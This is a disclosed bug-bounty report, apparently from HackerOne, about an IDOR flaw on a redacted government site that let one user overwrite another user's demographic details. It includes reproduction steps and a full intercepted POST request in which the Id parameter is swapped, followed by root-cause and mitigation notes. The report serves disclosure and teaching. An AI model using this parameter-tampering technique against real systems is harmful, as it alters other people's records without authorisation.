IDOR : Modify other users demographic details
The biographical details submission endpoint accepted a user-supplied numeric identifier, so an authenticated attacker could change another user's demographic details by swapping that identifier. The report demonstrates this by editing a second account's profile from the first account.
Originally disclosed on HackerOne
- Triaged in 21 hours
- Fixed in 14 days
- Disclosed after 15 days
Hii Triager,
Through researching on the DoD, I discovered an IDOR Vulnerability that allows a malicious user to modify other user's demographic details.
Vulnerable domain : www.█████████
Vulnerable Endpoint-
/JOINOnline/Board/SubmitDoc
For testing, I created two accounts with user-id: 1328 & 1327, you can test with them.
Required 2 test Accounts:
User-A User-B
Steps to Reproduce
1 - Login as User-A & User-B, Fill in the required details at: https://www.█████/JOINOnline/Board/BoardIntro/1021/<ID>/False
2 - Now, from the User-A account navigate to Biographical-Info, Update any information, and Intercept the Request.
POST /JOINOnline/Board/SubmitDoc HTTP/1.1
Host: www.█████████
Cookie: {YOUR-COOKIES}
...snip...
Connection: close
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="UserId"
268
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="Id"
1328
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="BoardId"
1021
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2800"
Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2801"
Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2802"
Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2803"
Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2804"
12/12/2001
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2805"
167
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2806"
80
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2807"
Male
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="__RequestVerificationToken"
{VERIFICATION-TOKEN}
------WebKitFormBoundaryrQSrSuOi1l18BB2E--
3 - Change the Id parameter value, for eg. in this case you can change 1328 to 1327(User-B numeric-id)
4 - You can successfully able to change the User-B details
Proof Of Concept:
████████
Impact
- IDOR
System Host(s)
www.███
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
1 - Login as User-A & User-B, Fill in the required details at: https://www.████████/JOINOnline/Board/BoardIntro/1021/<ID>/False
2 - Now, from the User-A account navigate to Biographical-Info, Update any information, and Intercept the Request.
POST /JOINOnline/Board/SubmitDoc HTTP/1.1
Host: www.█████
Cookie: {YOUR-COOKIES}
...snip...
Connection: close
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="UserId"
268
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="Id"
1328
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="BoardId"
1021
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2800"
Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2801"
Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2802"
Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2803"
Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2804"
12/12/2001
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2805"
167
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2806"
80
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2807"
Male
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="__RequestVerificationToken"
{VERIFICATION-TOKEN}
------WebKitFormBoundaryrQSrSuOi1l18BB2E--
3 - Change the Id parameter value, eg. in this case you can change 1328 to 1327(User-B numeric-id)
4 - You can successfully able to change the User-B details
Suggested Mitigation/Remediation Actions
- Effectively Tied the
User-Ids& othernumeric Idwith the user Session.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the server used the client-supplied numeric Id to select the profile record without verifying that it matched the authenticated session.
Impact
An authenticated user could modify another user's demographic details.
What the attacker needed
Two accounts on the site; victim's numeric identifier known
How it was found
- Log in as two separate users and complete the required details for each.
- From the first account, open the biographical info page, change a field and intercept the save request.
- Replace the Id value in the request with the second user's numeric identifier.
- Submit the request and observe that the second user's details are changed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you save your profile, the website sends a request that includes a number identifying whose profile it is. The site trusted that number without checking that it belonged to the logged-in person, so anyone could put someone else's number in and overwrite their details. This kind of flaw is called an insecure direct object reference, or IDOR.
What is IDOR?
One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.